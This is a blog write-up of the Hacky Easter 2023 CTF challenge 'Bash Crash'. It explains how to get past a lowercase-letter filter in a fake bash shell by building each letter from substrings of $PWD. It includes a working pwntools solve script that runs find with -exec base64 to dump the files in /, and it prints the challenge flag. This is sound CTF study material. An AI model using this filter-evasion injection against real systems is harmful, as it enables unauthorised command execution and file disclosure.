blog.mkiesel

h├Ącks und so

Hackyeaster 2023 - Bash Crash

This is a write-up for the Hacky Easter 2023 CTF challenge “Bash Crash”. The main challenge was character substitution inside the fake bash shell. I used existing environment variables to accomplish this.

Can you crash the bash?. The password is B4sh_br0TH3rs. Connect using nc ch.hackyeaster.com 2303. Note: The service is restarted every hour at x:00. Hint: Some characters are forbidden, in the whole string you enter.

 Looking around

Once connected to the service, the following prompt appeared:

Welcome to Crash Bash!
To get the flag, call /printflag.sh with the password!
Enter "q" to quit.
----------------------
crashbash$

This “shell” however timed out rather quickly and was in fact not a real shell. Most commands I entered resulted in Invalid input, bash crashed!. At first, I thought that command injection or a jail escape is needed. But no matter what I tried, the response was always the same. Based on the hint, there are forbidden characters so I enumerated them.

 Forbidden Chars

When trying for forbidden characters, I quickly noticed that our input will be placed in a bash -c from the following output:

crashbash$ -
/bin/bash: -c: option requires an argument
crashbash$ `
/bin/bash: -c: line 1: unexpected EOF while looking for matching ``'
/bin/bash: -c: line 2: syntax error: unexpected end of file

This meant that special characters were allowed. However, the shell kept “crashing” when entering letters. Upon further testing, I noticed that it allows for uppercase letters but not lowercase letters.

crashbash$ a
Invalid input, bash crashed!
crashbash$ A
/bin/bash: line 1: A: command not found
crashbash$

This meant I needed a way of constructing /printflag.sh B4sh_br0TH3rs without using lowercase letters.

 Environment variables

Since uppercase variables were allowed, I checked for the content of common environment variables.

crashbash$ $SHELL
crashbash$ $USER
crashbash$ $HOME
/bin/bash: line 1: /root: Is a directory
crashbash$ $PWD
/bin/bash: line 1: /tmp/lzmfhlnvumqyzwjtjvodxccvsmndlibw: Is a directory
crashbash$ $PS1

The present working directory (PWD) was a random folder in /tmp which many lowercase letters in its name. This was the perfect target for the next step.

 Substitution

In bash, you can access a substring of an existing variable with ${HOME:2:1}. This will you the third character of the variable HOME. The first number is the position and the second number is the length of the substring you want. Since I only needed one character, the second number stayed at 1. With all the needed information gathered, it was time to build the script. First I connect to the server and send $PWD. Using regex I parse the output from the “Is a directory” error message. Then I loop over each character in the required command. If the character is a lowercase letter the script searches the character in $PWD. Not all characters needed are always present in $PWD. In that case, I just quit and try again.

 Two steps back

Wrapping this in a loop, it took about 30s until I got a $PWD containing all the needed characters. However, the output when entering the payload was still Invalid input, bash crashed!. It seems that I’ve missed a bad character. And indeed I missed the dot. Since the script on the target contains a file extension, I can’t simply execute it. So I needed a command to execute the script without calling it directly (by its name). The chars ? and * were also blocked resulting in bash wildcards not being an option.

The script was located in /. Normally the root folder does not contain other files (just folders). By using find I was able to list files under this path with find / -maxdepth 1 -type f. Since find has a built-in command execution argument, I could have executed the script using find. However, I found executing all files under / a bit too risky, so I decided to get the base64 content of those files instead. This resulted in:

find / -maxdepth 1 -type f -exec base64 -w0 {} \;

This command does not contain the password needed. However, since I was getting the contents of the files, I just hoped that they contained the flag.

 Final Script

After constructing the final script, it printed a big blob of base64 encoded data after about 30s.

from pwn import *
import string
import re

context.log_level = "CRITICAL"
command = r"find / -maxdepth 1 -type f -exec base64 -w0 {} \;"
pat_chars = re.compile(r"/bin/bash: line 1: (/tmp/.+): Is a directory")

while True:
    all_chars_found = True
    with remote(host="ch.hackyeaster.com", port=2303) as conn:
        conn.recvuntil(b"crashbash$ ")
        conn.sendline(b"$PWD")
        pwd_chars_raw = conn.recvline().decode()
        pwd_chars = pat_chars.search(pwd_chars_raw).group(1)
        payload = ""
        for char in command:
            if char in string.ascii_lowercase:
                index = pwd_chars.find(char)
                if index != -1:
                    payload += "${PWD:%d:1}" % index
                    continue
                else:
                    all_chars_found = False
                    break
            else:
                payload += char
        if all_chars_found:
            conn.sendline(payload.encode())
            out = conn.recv(4096).decode()
            out += conn.recv(4096).decode()
            conn.close()
            break

# he2023{gr34t_b4sh_succ3ss!}
print(out)